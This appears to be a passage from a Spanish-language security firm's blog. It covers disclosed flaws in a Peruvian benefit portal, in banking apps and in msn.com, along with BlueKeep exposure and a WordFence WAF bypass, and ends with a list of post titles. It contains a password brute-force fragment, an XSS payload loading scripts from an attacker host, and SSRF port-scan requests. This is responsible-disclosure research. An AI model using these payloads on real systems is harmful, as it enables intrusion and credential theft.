El tercer problema de seguridad que tenía el portal, era que el teléfono móvil que se debía registrar, podía ser de cualquier persona y no necesariamente debía estar a nombre del beneficiario, por lo que el ciberdelincuente podía poner su teléfono y recibir la clave SMS para cobrar el bono. Importante mencionar en esta parte que OSIPTEL pide al menos un DNI para registrar un teléfono por lo que podría ser un interesante método de verificación.

Chips usados por los ciberdelincuentes para suplantar a las víctimas.

Acciones Tomadas:

Luego del reporte realizado por DeepSecurity al Equipo de Respuesta ante Incidentes de Seguridad Digital Nacional (PECERT), se pudo confirmar el día miércoles 27 de mayo, que la vulnerabilidad relacionada al control de captcha ya había sido solucionada.

Se confirmó al reutilizar el captcha se recibía error 400 Bad Request.

También se pued e observar que se agregó la opción reclamos en la parte superior de la página bono universal.

Cache de la web obtenido de archive.org

Web actual – Registra tu caso.

Web del Bono Universal

Línea de Tiempo:

Línea de tiempo obtenida del documento de ciberinteligencia de DeepSecurity

Conclusiones:

1.- A fin de evitar que las aplicaciones web puedan ser usadas para conseguir de forma masiva DNI con bono asignado y luego usar la misma página web con el fin de obtener la fecha de emisión o fecha de nacimiento de beneficiario, recomendamos se haga una adecuada implementación de control de CAPTCHA actualmente ya en uso.

El control de captcha presentando en ambos sitios web mencionados:

Bono Universal Familiar (https://bonouniversalfamiliar.pe)
Bono Independiente (https://bonoindependiente.pe)

Al obtener esta información, se puede iniciar el trámite de registro de datos.

2.- Durante el registro del beneficiario, se utiliza como método de validación los datos RENIEC con el objetivo de autenticar el usuario. Sin embargo, estos datos pueden ser encontrados en fuentes abiertas o en distintas aplicaciones de Internet. Este punto hace viable el cambio de datos incluido el nuevo número de celular, al cuál se envía la clave de cobro vía SMS. En ese caso recomendamos implementar controles de información cruzada con otras entidades.

3.- Así mismo se hace la observación al registro del número de celular, el que no cuenta con una validación de pertenencia al beneficiario del bono.

Este tipo de vulnerabilidades se encuentra bien identificada como “Configuración de Seguridad Incorrecta OWASP A2:2017” según lo indicado en las guías de buenas prácticas de seguridad conocidas como “OWASP TOP 10” que es un estándar reconocido internacionalmente.

Reporte de Ciberseguridad en las Aplicaciones Móviles de Home banking en Perú

Thu, 21 May 2020 04:16:25 GMT

El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.

El primer paso para realizar esta investigación fue seleccionar a las entidades bancarias más importantes del Perú, basados en la lista publicada por la Superintendencia de Banca, Seguros y AFP (SBS)*; luego procedimos a descargar las aplicaciones móviles de las entidades seleccionadas de las páginas oficiales.

Todas las aplicaciones seleccionadas, fueron evaluadas tomando como base los 10 riesgos establecidos por el proyecto internacional OWASP (OWASP Mobile Top 10).

M1: Improper Platform Usage
M2: Insecure Data Storage
M3: Insecure Communication
M4: Insecure Authentication
M5: Insufficient Cryptography
M6: Insecure Authorization
M7: Client Code Quality
M8: Code Tampering
M9: Reverse Engineering
M10: Extraneous Functionality

Imagen extraída del reporte de ciberseguridad de aplicaciones móviles de homebanking .

Para llevar a cabo el análisis técnico, todas las aplicaciones pasaron por un proceso de reconocimiento automatizado mediante el cual se obtuvo la primera información relevante de esta investigación. El 70% de las aplicaciones analizadas no cuenta con protección «anti-reversing» (OWASP M9), esto quiere decir que se pudo acceder al código fuente de las aplicaciones móviles sin usar técnicas de evasión. Para demostrar el impacto de esta vulnerabilidad realizamos las siguiente acciones:

Decompilamos la aplicación.
Modificamos la ruta del servicio de autenticación del banco por un backend operado por DeepSecurity.
Recompilamos la aplicación.
Instalamos correctamente la aplicación modificada en un teléfono móvil (sin root)
Se hizo un intento de autenticación con el cual se obtuvieron credenciales usando la aplicación modificada.

Un atacante de la vida real, podría usar este método para enviar aplicaciones modificadas a los clientes del banco y convencerlos de que es la real. Importante recalcar esto se encontró en el 70% de las aplicaciones.

Totalmente comprometidos con realizar las pruebas de forma rigurosa, nuestro equipo de investigadores creó cuentas como clientes finales en los bancos evaluados. Con estas cuentas nos registramos en las aplicaciones móviles y fue ahí donde encontramos otro vector interesante en la investigación. En algunas de las aplicaciones evaluadas, encontramos que el usuario/DNI que se usaba para autenticarse a las cuentas, se quedaba guardado en el móvil en texto plano. Este escenario fue más que interesante porque en una de las aplicaciones, encontramos el hash de la contraseña en SHA512, un cifrado que hasta el momento no ha sido roto. Sin embargo, al analizar a profundidad el código fuente (aplicación vulnerable a M2) y por una mala implementación del método criptográfico (M5) encontramos en el código fuente la función que generaba el hash SHA512 y mediante el cual se podía extraer las contraseñas en texto plano con una fuerza bruta poco compleja. La contraseña de nuestro usuario fue extraída en menos de 60 segundos. Para demostrar el impacto que genera esta vulnerabilidad, nuestro equipo de investigadores realizó las siguientes acciones:

1.- Registramos un usuario en la aplicación.
2.- Se extrajo el archivo local.
3.- Se leyó el archivo y se encontró la contraseña en SHA512.
4.- Se hizo fuerza bruta a la contraseña durante 20 segundos.
5.- Se obtuvo la credencial del usuario.

Esta vulnerabilidad la calificamos como crítica dado que cualquier aplicación instalada en el teléfono puede acceder a la contraseña replicando el ataque que nosotros realizamos. Si el teléfono del usuario fuese robado, también de forma local se podría extraer la contraseña de la plataforma del banco en cuestión. Dada la criticidad de la vulnerabilidad, DeepSecurity reportó esta vulnerabilidad al banco y fue reparada en menos de 30 días.

Para los más curiosos, en el archivo local se encontraba el hash de la contraseña en SHA512 y un string llamado «salt». Cuando investigamos, nos dimos cuenta de lo siguiente:

La contraseña que solicitaba la aplicación móvil era débil (8 números).
Si sacamos el hash de la contraseña SHA512($password) no era igual al encontrado en el archivo local.
En el código fuente encontramos la función de cifrado y era SHA512($password+$salt)
En el archivo local encontrado en el móvil, hallamos un string llamado salt.
Hicimos una tool que sacara el hash de todas las combinaciones de números de 8 caracteres + el hash.

Fragmento del bruter:

for i in range(0,10000000):
brute_password = str(number[1:])
hash = hashlib.sha512()
hash.update((‘%s%s’ % (brute_password, salt)).encode(‘utf-8’))
brute_hash = hash.hexdigest()
print(Fore.BLUE + ‘Password: ‘ + Fore.YELLOW + brute_password, end=» «,flush=True)
if password_hash == brute_hash:

De las 10 vulnerabilidades del Top de OWASP, las 10 fueron encontradas en toda la extensión del análisis. En DeepSecurity, con el interés de fomentar la seguridad, animamos a todos los bancos a re-evaluar la seguridad de las aplicaciones móviles dado que los resultados no mostraron niveles altos de ciberseguridad en general. La investigación completa es de 7 páginas y se encuentra en formato PDF, puede ser descargada dando click aquí .

*Listado de empresas bancarias de la SBS.
https://www.sbs.gob.pe/supervisados-y-registros/empresas-supervisadas/directorio-del-sistema-financiero/empresas-bancarias .

Análisis de BlueKeep en Perú

Tue, 14 Apr 2020 06:03:27 GMT

BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.

En DeepSecurity nos preocupamos por el bienestar de la infraestructura de nuestro país y realizamos constante ciber inteligencia que nos permite identificar amenazas latentes en nuestra frontera digital. De nuestros análisis, hemos identificado que a raíz del Covid-19 (entre el 13 de marzo y el 13 de abril), ha aumentado en casi 40% la exposición de RDPs desactualizados a internet. En ese sentido, realizamos un escaneo masivo a todas las IPs del Perú que exponían sus RDPs, con esto se pudo identificar infraestructura peruana vulnerable a BlueKeep. El análisis reveló que existen más de 500 servidores vulnerables. Se adjunta un gráfico con los porcentajes de servidores con RDP expuestos a internet.

Análisis de vulnerabilidad "BlueKeep" en direcciones IP del Perú

El análisis fue bastante interesante porque no solo pudimos identificar que habían cerca de 600 IPs vulnerables, sino que también encontramos 6 HotSpots que fingían ser RDP, pero no lo eran. También encontramos que había servidores parchados (actualizaciones de Microsoft) pero también pudimos identificar que cientos de servidores habían habilitado NLA – Network Level Authentication como método para prevenir el ataque. Es importante mencionar que activar NLA solo previene que el atacante pueda explotar la vulnerabilidad sin credenciales, sin embargo, el servidor sigue siendo vulnerable. Las versiones de windows vulnerables a BlueKeep y sus parches:

Windows 7 (KB4499175)
Windows Server 2008 R2 (KB4499175)
Windows Server 2008 (KB4499180)

Y las ya sin soporte:

Windows 2003 (KB4500331)
Windows XP (KB4500331)
Windows Vista (KB4499180)

Para validar si un servidor tiene el parche instalado, se puede usar una consulta wmi desde CMD reemplazando el “999999” por el número de arriba correspondiente al servidor:
wmic qfe | find «KB999999»

Si el servidor es crítico como para ser parchado, Microsoft sugiere activar NLA (Network Level Authentication) para evitar que, actores maliciosos no autenticados, puedan ejecutar código remoto en el servidor en cuestión.

Para activar el NLA de forma manual, puede usar el siguiente script:

Descargar el script y guardarlo como fixer.bat
Ejecutar el CMD como administrador y ejecutar “fixer.bat NombreDelServidor” y cambiar NombreDelServidor por el servidor que quiere activar NLA. Si no sabes cual es el nombre del server que quieres actualizar, conéctate al servidor y en el cmd escribe como comando %ComputerName%.
Si el script se ejecutó con éxito, verán el mensaje: “Operación realizada con éxito”.

En DeepSecurity nos queremos asegurar que puedas validar si tus servidores son vulnerables por lo que hemos hecho una pequeña utilidad para Windows que te permitirá con un solo click saber si tu servidor es vulnerable. Solo debes descargar la aplicación dando click aquí, en el recuadro donde dice IP poner la IP de tu servidor y dar click en validar. Se adjunta captura del checker.

Hackers: El Metódico, Paciente y Sigiloso Robo a un Banco

Sun, 12 Apr 2020 06:26:06 GMT

La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la APT (Advanced Persistent Threat) Carbanak, que es el nombre de la banda de ciberdelincuentes que perpetraron más 100 ciberataques a instituciones financieras alrededor del mundo entre el 2013 y el 2015 para robar más de 1,000 millones de euros.

La cronología que detalla este artículo hace referencia a un robo de un banco de Europa del Este mediante el control externo (a través de una VPN) de los sistemas internos del banco que controlan los cajeros automáticos para organizar una ola de retiros masivos.

FASE # 1 – Phishing: todo inicia con un simple mail

La banda de cibercriminales envía oleadas de mails a todos los empleados del banco, sin importar en que área se desempeñen; es indiferente si el empleado es de RRHH, Ventas, IT o contabilidad; la intención es que malware ingrese para crear una puerta trasera en los sistemas infectados y poder moverse lateralmente a través de sus redes y diversos departamentos.

FASE # 2 – El perfil del APT (Advanced Persistent Threat) metódico, paciente y sigiloso

El detalle del ataque APT nos muestra que no solo un individuo es el ejecutante del ataque, sino que describe a un equipo (posiblemente mayor a 10 personas), el cual se caracteriza por ser paciente, metódico, cuidadoso y casi imperceptible en su intromisión, con habilidades técnicas que le permiten capturar las credenciales de los administradores a nivel de la memoria (mimikatz), moverse sigilosamente de manera lateral a través de la red del banco, eliminar sus rastros, diseñar exploits para insertarse en los servidores. Sin embargo, lo más resaltante, y riesgoso, se manifiesta en la gestión del tiempo, el ataque es planeado para ser paciente inicialmente en la recolección y revisión minuciosa de documentos que permiten al delincuente conocer a profundidad la operatividad del banco, para mantener la posibilidad de volver a atacarlo; y, finalmente, con la extracción o redireccionamiento de fondos.

Fuente: Organization of American States.

Lo cual es también es indicado en el reporte «Estado de ciberseguridad en el sector bancario en América Latina y el Caribe» de la organización de estados americanos OEA @OEA_Cyber.

Estrategias de mitigación efectivas APT:

Ninguna infraestructura de TIC puede ser 100% segura, pero hay niveles razonables que cada organización puede definir para reducir significativamente el riesgo de un fraude por medios digitales que podrían ser mitigado basados en estrategias básicas:

Use la lista blanca de aplicaciones para evitar que se ejecuten software malintencionado y programas no autorizados.
Aplicación de parches, como Java, visores de PDF, Flash, navegadores web y Microsoft Office.
Parches de vulnerabilidades del sistema operativo.
Restringir los privilegios administrativos a los sistemas operativos y aplicaciones, según los roles del usuario.

El Perú no está exento de este tipo de ataques, que no solo se pueden desarrollar en entidades financieras, sino también en empresas e-commerce, Fintech’s y entidades públicas. Por ello, Deep Security aconseja que las empresas deben capacitar no solo al personal técnico sino a todos los colaboradores en general, debido a que es vital para la continuidad del negocio que toda la organización conozca cómo reconocer posibles amenazas para poder reportarlas a los responsables. Así mismo, consideramos que es una buena práctica solicitar servicios como phishing as a services e ingeniería social con una frecuencia semestral.

Evadiendo el WAF del mejor plugin de seguridad de WordPress: "‘WordFence"

Wed, 11 Mar 2020 07:27:22 GMT

Muchos clientes piensan que una solución de Web Application Firewall (WAF por sus siglas en inglés) es una solución total para detener ataques web, como inyecciones SQL o Cross-Site Scripting.

Queremos compartir con nuestros seguidores cómo durante un servicio de pentest web, el equipo de research de DeepSecurity, encabezado por Camilo Galdos, se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS) y bypasear al WAF de WordFence mediante el uso de URLs relativas y así explotar la vulnerabilidad en nuestro cliente.

¿Existen vulnerabilidades en WAF de WordFence?

Durante uno de nuestros servicios de pentesting, que es básicamente un ataque a un sistema informático que tiene la intención de encontrar las debilidades de seguridad antes que los chicos malos lo hagan, encontramos una plataforma WordPress protegida por la solución de WordFence Premium, ambas en su versión más reciente.

Cuando comenzamos con las labores de reconocimiento (fingerprint), notamos que WordPress contaba con una plantilla (template) propia. Al iniciar la búsqueda de vulnerabilidades identificamos que era vulnerable a Cross-Site Scripting en el formulario de búsqueda.

En este punto empezó el reto. El WAF de Wordfence protege de forma activa las variables por método GET y hasta el momento habíamos identificado la siguiente complejidad:

<maquee>foo → PASS

<marquee onstart=>foo → BLOCK

<marquee onTest=>foo → BLOCK

<div width=>foo → PASS

<marquee>alert(1) → BLOCK

Identificamos que el WAF bloqueaba todos los eventos (onmouseover, onstart, onclick, etc.) y no permitía el uso del tag <script>. Esto limita bastante las posibilidades de encontrar un vector válido para bypassear el WAF. Sin embargo, continuamos con el análisis para intentar evadir la protección y pudimos notar un detalle en el código fuente de la aplicación que nos resultó bastante interesante.

Código referencial encontrado en el footer de la web:

Como se puede visualizar en la etiqueta Script antes expuesta, se ve un link hacia un archivo Javascript llamado “emailvalidation.min.js”. El detalle importante es que, comparado con los otros scripts cargados por el sitio, este tiene una particularidad:

Al revisar esto se puede identificar que uno de los links a los archivos Javascript no tiene dominio antepuesto a la ruta del servidor donde se encuentra. Según el estándar de HTML 5.3, hosteado por la W3C, cuando ninguna ruta absoluta es especificada (dominio y path) antes de llamar un elemento con fuente (src), la fuente coge el fallback URL que es valor del documento actual, es decir:

Si cargo https://www.example.com/wordpress/ el script cargado sería el siguiente:

https://www.example.com/wordpress/static/scripts/email-validation/emailvalidation.min.js

La parte interesante es que el estándar también menciona un dato que llama la atención:

Existe un tag HTML mediante el cual se puede especificar la URL base para que los otros elementos usen. Cuando hicimos la siguiente prueba de payload el WAF no saltaba:

<a href=//attacker.pe>foo → BLOCK

<base href=//attacker.pe> → PASS

Al inspeccionar con la consola de Chrome, se pudo apreciar lo siguiente:

Usando el payload adecuado: <base href=//attacker.pe> hemos conseguido que todas las URLs relativas del documento apunten a un dominio de nuestro control. Dicho esto, solo nos quedó crear el path en nuestro host:

https://attacker.pe/static/scripts/email-validation/emailvalidation.min.js

Y al ingresar al link del XSS con nuestro payload, hemos bypasseado el WAF de Wordfence mediante URLs relativas.

Un caso de éxito con resultados positivos para WordFence

Nuestro trabajo en DeepSecurity solventó esta vulnerabilidad y adicionalmente tuvo resultados positivos en el plugin de WordFence. Además de haber reportado el bug al cliente, también se reportó el método de bypass a WordFence.

El equipo de WordFence respondió de forma positiva a este reporte y en un excelente tiempo, ya que en el mismo día de la notificación asignaron el caso para trabajar en su resolución. Actuaron de forma rápida para evitar que sus clientes se vieran afectados por este bypass y para ello, apenas tres días después del reporte, añadieron una nueva regla a su WAF, por lo que ahora el payload <base href=//url> es detectado como malicioso.

Esto demuestra la importancia de contar con un servicio dedicado a la ciberseguridad que sea capaz de detectar fallos en grandes organizaciones para encontrar soluciones que mantengan a los piratas informáticos alejados de los sitios web. Esta es nuestra labor y la llevamos al punto máximo de exigencia para ofrecer resultados y calidad en cada trabajo.

Línea de Tiempo:

Conocimiento sobre el Bypass: 24 de Julio
Reporte a Wordfence: 31 de Julio
Wordfence Asigna ID 1170 al caso: 31 de Julio
Wordfence añade una regla: 3 de Agosto
Equipo de DeepSecurity confirma la regla: 5 de Agosto.

Agradecimientos especiales a Jesús Espinoza Soto por su participación en esta investigación.

Server-Side Request Forgery en WWW.MSN.COM

Tue, 23 Oct 2018 07:34:21 GMT

Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com .

Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.

Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Imagen 1 – Ejemplo SSRF Clásico

En la imagen 1, se puede ver una aplicación que mediante un Json le especifica 2 valores al servidor. Un archivo local o de configuración en la variable path y la variable response que es el endpoint donde llegará el valor de path.

Explotación:

Como se puede observar en este ejemplo, el atacante tiene un SSRF en el cual puede controlar el archivo que quiere obtener del sistema (path) y el endpoint donde quiere escuchar la respuesta (response). El atacante en la petición debe ingresar un dominio controlado por él y la respuesta llegaría con el contenido de path a su puerto 80 o 443.

Server-Side Request Forgery a ciegas:

Existen escenarios más complejos donde la vulnerabilidad no es tan perfecta como en el escenario antes mencionado. ¿Qué pasa si solo tuviese la variable response? ¿Qué ocurre cuando se puede forzar la aplicación a generar una petición HTTP, pero no hay una variable para obtener un archivo local? ¿Qué tipo de ataque podría generar en ese caso?

Blind SSRF [XSPA] en www.msn.com :

Introducción:

Cross Site Port Attack (XSPA) es una vulnerabilidad que permite a los atacantes obtener el estado de los puertos TCP, en ocasiones tomar banners de los servicios, a través de Internet o sistemas internos al abusar de una función que realiza solicitudes HTTP utilizando URLs controladas por el atacante.

Primeros hallazgos:

Al visitar www.msn.com , se pudo visualizar un request con los siguientes valores enviados por post. (la petición tiene valores cambiados con el propósito de hacer el post más didáctico).

‘Data’:’{\’surl\’:\’http://external-microsoft-

server.com/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

Burp Suite, cuenta con un ayudante en su versión PRO, Burp Collaborator. Básicamente lo que hace es generar un subdominio y escucha en distintos puertos para recibir peticiones.

Burp Collaborator recibiendo peticiones

También existen otras aplicaciones gratuitas con funcionalidades similares como ngrok o se puede usar un servidor propio. Usando el link generado por collaborator, se modificó la petición y se envió:

‘Data’:’’:’{\’surl\’:\’http://xxxxxx.burpcollaborator.net/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

En este punto, se pudo confirmar que existía un Blind SSRF, el collaborator había recibido una petición del servidor de Microsoft. Para hacer pruebas mas exactas, se utilizó un servidor propio y se reenvió la petición especificando un puerto, de la siguiente manera:

‘Data’:’’:’{\’surl\’:\’http://reciever.deepsecurity.pe/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}

Request recibida desde Microsoft (Se han eliminado datos)

De esta petición, se obtuvo la IP del servidor de Microsoft, un dominio de producción, un Authtoken y algunos valores que afectan la confidencialidad de la información de Microsoft.

El problema:

Se ha identificado una aplicación de Microsoft que genera peticiones a un servidor web que se le especifique ¿cómo se puede aumentar el riesgo de este escenario?

Weaponizing – XSPA, Timing y DNS:

Para realizar un escaneo de IPs a la LAN de Microsoft, se utilizó el tiempo que se demora el cliente HTTP en resolver un dominio.

Como se puede observar en la imagen previa, se configuró un dominio con 2 registros A. Uno resolviendo (DNS) a IP local aleatoria y otro registro resolviendo (DNS) a un servidor controlado por nosotros. El orden de los registros es importante.

La mayoría de los clientes HTTP cuando hacen una petición a un dominio, y este dominio tiene 2 registros A, primero intenta resolver usando el primer registro, si no la encuentra o no se puede conectar, se conecta a la segunda. Siguiendo esta lógica, se podría saber que IP está activa en la LAN.

Prueba 1:

Attacker.com (A) → 10.0.0.1

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com

Tiempo en llegar a 200.x.x.x: 1 Segundo

Prueba 2:

Attacker.com (A) → 10.0.0.2

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 1 Segundo

Prueba 3:

Attacker.com (A) → 10.0.0.XX

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:443

Tiempo en llegar a 200.x.x.x: N/A

Prueba 4:

Attacker.com (A) → 10.0.0.10

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 15 Segundos

Conclusiones:

La prueba 1 y 2, demuestran que el cliente intentaba pedir primero la IP local en el puerto 80; sin embargo, al no ser una IP/Puerto activo, automáticamente era reenviado a nuestro servidor Web. En la prueba 3, la conexión nunca llegó. En ese sentido, se puede confirmar la IP local de Microsoft, 10.0.0.XX en el puerto 443, tiene un servicio corriendo. En la prueba 4, se pudo confirmar que la IP estaba activa, pero en el puerto 445, no existía servicio corriendo.

Microsoft confirmó la vulnerabilidad y la calificó como Importante, lo cual es equivalente a Alto en su sistema de calificación. Microsoft me añadió (Camilo Galdos – DeepSecurity) a la lista de reconocimientos de setiembre 2020 por esta vulnerabilidad; sin embargo, el dominio msn.com no es parte del scope para Bug Bounty.

Línea de tiempo de reporte responsable:
Set 22: Vulnerabilidad encontrada.
Set 23: Reportada a Microsoft.
Set 29: Microsoft confirma la vulnerabilidad.
Oct 1: Microsoft confirma el fix para la vulnerabilidad.
Oct 19: Microsoft publica el reconocimiento en su web.
Oct 23: Publicación del Write-Up.

deepsecurity

CVE-2025-14340 De XSS Reflejado a Takeover Completo de Administrador en Payara Server

XSS y el punto de entrada

El CSRF que convierte el bug en takeover

¿Header X-Requested-By ?

Conclusión

CVE-2025-58765: XSS Reflejado en Wayback Machine - Wabac.js

Análisis Rápido: XSS en Wayback Machine CVE-2025-58765

XSS reflejado en Javascript

CVE-2025-58765: Impacto de la vulnerabilidad

CVE-2025-58765: XSS en error 404

Bypass CSP script-src 'nonce-{nonce}'

Introspector Framework: Out-Of-Band Pentest Tool

¿Por qué usar Introspector en un pentest avanzado?

Host Header Injection + DoS en Microsoft

¿Qué es Host Header Injection?

El problema de confiar en los Header

Vulnerability assesment

Explotación con Headers "Forwarded"

Denial of Service - Incorrect Host Parsing

Buenas práticas y snippets

Conclusiones

Blind SSRF en Microsoft Ads

Server-Side Request Forgery para Pentesters

Blind SSRF y sus complicaciones

Análisis del filtro de las URLs.

Bypass con 302 Redirect (Request Control)

Pivot y Time-Based Port Scan

﻿ Análisis del código vulnerable

Conclusiones finales y Recomendaciones

Ethical Hacking Smart Contracts

¿Por qué se siguen reportando incidentes en los Smart Contracts ?

Entendiendo el ecosistema del smart contract (blockchain)

Para desplegar “Smart Contracts” en el ecosistema de la blockchain, se conectó nuestra billetera(metamask) con un nodo de “Infura” usando la biblioteca web3.py de python.

https://sepolia.etherscan.io/address/0x358356edc9d842eFE062595f0edf18a96422C6dc

Las vulnerabilidades más comunes en los smart contracts

Comentarios finales

Bug Bounty vs Penetration Testing: ¿Cuál es el enfoque correcto para tu organización?

Diferencias entre Pentest y Bug Bounty

Pentest vs Bug Bounty: distintas duraciones

Pentest vs Bug Bounty: distintas necesidades

Pentest vs Bug Bounty: distinto público objetivo

Pentest vs Bug Bounty: conoce el número de investigadores involucrados

Pentest as a Service y Private Bug Bounty: soluciones adaptables y versátiles que permiten mejor adaptación y personalización en las metodologías de prueba de seguridad

Netflix - Responsible Vulnerability Disclosure

https://help.netflix.com/en/node/6657

Cisco - Identity Services Engine Guest Portal Login Limit Bypass Vulnerability

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20171115-ise.html

Entre pentest o bug bounty, ¿qué enfoque es correcto para tu organización?

Análisis de SMBGhost en Latinoamérica

Escaneando Latinoamérica con GoGhost

Reporte de Ciberinteligencia - Operación: APAKUY

Introducción:

Antecedentes:

Método para obtener el bono de forma legal:

Método para obtener el bono de forma ilegal:

Acciones Tomadas:

Línea de Tiempo:

Conclusiones:

Reporte de Ciberseguridad en las Aplicaciones Móviles de Home banking en Perú

Análisis de BlueKeep en Perú

Hackers: El Metódico, Paciente y Sigiloso Robo a un Banco

Evadiendo el WAF del mejor plugin de seguridad de WordPress: "‘WordFence"

¿Existen vulnerabilidades en WAF de WordFence?

Un caso de éxito con resultados positivos para WordFence

Server-Side Request Forgery en WWW.MSN.COM

¿Header `X-Requested-By` ?

Análisis del código vulnerable